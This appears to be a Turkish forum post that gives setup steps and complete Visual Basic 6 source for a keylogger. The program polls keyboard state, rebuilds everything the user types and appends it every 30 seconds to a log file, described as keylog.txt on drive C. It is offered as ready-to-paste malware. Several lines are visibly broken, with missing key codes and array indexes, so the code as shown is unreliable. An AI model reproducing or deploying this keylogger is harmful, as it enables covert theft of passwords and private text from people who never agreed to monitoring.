KEYLOGGER KODU

ncelıkle sayfaya bi koycaklarınızı yazıyorum.
1)2 tane text koyun bırının ısmını text1 dıgerının ısmını txtFileName olarak verın.
2)1 tane command button ısmını cmdExit verın
3)2 tane tımer koyun bırının ısmını timer1 verın interval özellıgını ıse 1 yapın dıger timer ısmını ıse timersave verin interval ozellıgını 30000 yapın.
*Not:koycaklarınız bu kadar programın amacı ıse pc yazdıgınız her yazıyı c de keylog.txt olarak kaydedıyo.
şimdi gelelım kodlarına dırek bu dedıklerımı yaptıktan sonra kodları yapıstırın forma.


'MODUL BASLANGICI

Global LastKey As String
Global TimeOut As Byte
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer


Public Function GetCapslock() As Boolean


GetCapslock = CBool(GetKeyState(vbKeyCapital) And 1)


End Function

Public Function GetShift() As Boolean



GetShift = CBool(GetAsyncKeyState(vbKeyShift))


End Function


'MODUL SONU

'FORMA YAZILACAKLAR
Private KeyLoop As Long
Private FoundKeys As String
Private KeyResult As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private a(15) As String


Private Sub cmdExit_Click()
Call Timersave_Timer



End
End Sub


Private Sub Form_Initialize()
a(0) = ")"
a(1) = "!"
a(2) = "@"
a(3) = "#"
a(4) = "$"
a(5) = "%"
a(6) = "^"
a(7) = "&"
a( = "*"
a(9) = "("
End Sub

Public Sub Form_Load()
LastKey = ""
TimeOut = 0
End Sub


Private Sub menAknow_Click()
MsgBox ("I modified this code from a keylogger submitted by a good programmer")

End Sub

Private Sub menBy_Click()
frmAbout.Show 1, Me

End Sub

Private Sub Timer1_Timer()
Dim AddKey
KeyResult = GetAsyncKeyState(13)
If KeyResult = -32767 Then
AddKey = vbCrLf
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(
If KeyResult = -32767 Then
l = Len(KeyLogger.Text1.Text)
If l > 2 Then
KeyLogger.Text1.Text = Left(KeyLogger.Text1.Text, l - 1)

AddKey = ""
Else
AddKey = "(Cant Undo)"
End If
GoTo KeyFound
End If



KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey = " "
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
If GetShift = False Then AddKey = ";" Else AddKey = ":"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
If GetShift = False Then AddKey = "=" Else AddKey = "+"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(18
If KeyResult = -32767 Then
If GetShift = False Then AddKey = "," Else AddKey = "<"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(189)
If KeyResult = -32767 Then
If GetShift = False Then AddKey = "-" Else AddKey = "_"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(190)
If KeyResult = -32767 Then
If GetShift = False Then AddKey = "." Else AddKey = ">"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(191)
If KeyResult = -32767 Then
If GetShift = False Then AddKey = "/" Else AddKey = "?" '/
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(192)
If KeyResult = -32767 Then
If GetShift = False Then AddKey = "`" Else AddKey = "~" '`
GoTo KeyFound
End If




KeyResult = GetAsyncKeyState(96)
If KeyResult = -32767 Then
AddKey = "0"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(97)
If KeyResult = -32767 Then
AddKey = "1"
GoTo KeyFound
End If


KeyResult = GetAsyncKeyState(9
If KeyResult = -32767 Then
AddKey = "2"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(99)
If KeyResult = -32767 Then
AddKey = "3"
GoTo KeyFound
End If


KeyResult = GetAsyncKeyState(100)
If KeyResult = -32767 Then
AddKey = "4"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(101)
If KeyResult = -32767 Then
AddKey = "5"
GoTo KeyFound
End If


KeyResult = GetAsyncKeyState(102)
If KeyResult = -32767 Then
AddKey = "6"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(103)
If KeyResult = -32767 Then
AddKey = "7"
GoTo KeyFound
End If


KeyResult = GetAsyncKeyState(104)
If KeyResult = -32767 Then
AddKey = "8"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(105)
If KeyResult = -32767 Then
AddKey = "9"
GoTo KeyFound
End If


KeyResult = GetAsyncKeyState(106)
If KeyResult = -32767 Then
AddKey = "*"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(107)
If KeyResult = -32767 Then
AddKey = "+"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(10
If KeyResult = -32767 Then
AddKey = ""
KeyLogger.Text1.Text = KeyLogger.Text1.Text & vbCrLf
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(109)
If KeyResult = -32767 Then
AddKey = "-"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(110)
If KeyResult = -32767 Then
AddKey = "."
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(2)
If KeyResult = -32767 Then
AddKey = "/"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(220)
If KeyResult = -32767 Then
If GetShift = False Then AddKey = "" Else AddKey = "|"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(222)
If KeyResult = -32767 Then
If GetShift = False Then AddKey = "'" Else AddKey = Chr(34)
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(221)
If KeyResult = -32767 Then
If GetShift = False Then AddKey = "]" Else AddKey = "}"


GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(219) '219
If KeyResult = -32767 Then
If GetShift = False Then AddKey = "[" Else AddKey = "{"
GoTo KeyFound
End If

Skip:
KeyLoop = 41
Do Until KeyLoop = 127
KeyResult = GetAsyncKeyState(KeyLoop)
If KeyResult = -32767 Then
If KeyLoop > 64 And KeyLoop < 91 Then
If GetCapslock = True And GetShift = True Then KeyLoop = KeyLoop + 32
If GetCapslock = False And GetShift = False Then KeyLoop = KeyLoop + 32
End If
If KeyLoop > 47 And KeyLoop < 58 Then
If GetShift = True Then
AddKey = a(Val(Chr(KeyLoop)))
GoTo KeyFound
End If
End If

Text1.Text = Text1.Text + Chr(KeyLoop)
End If
KeyLoop = KeyLoop + 1
Loop
LastKey = AddKey
Exit Sub
KeyFound:
KeyLogger.Text1 = KeyLogger.Text1 & AddKey
End Sub

Private Sub Timersave_Timer()
On Error Resume Next
Open KeyLogger.txtFileName For Append As #1
Write #1, Text1.Text
Text1.Text = ""
Text1.Refresh
Close #1
End Sub
'FORUM SONU
'Kolay Gelsin.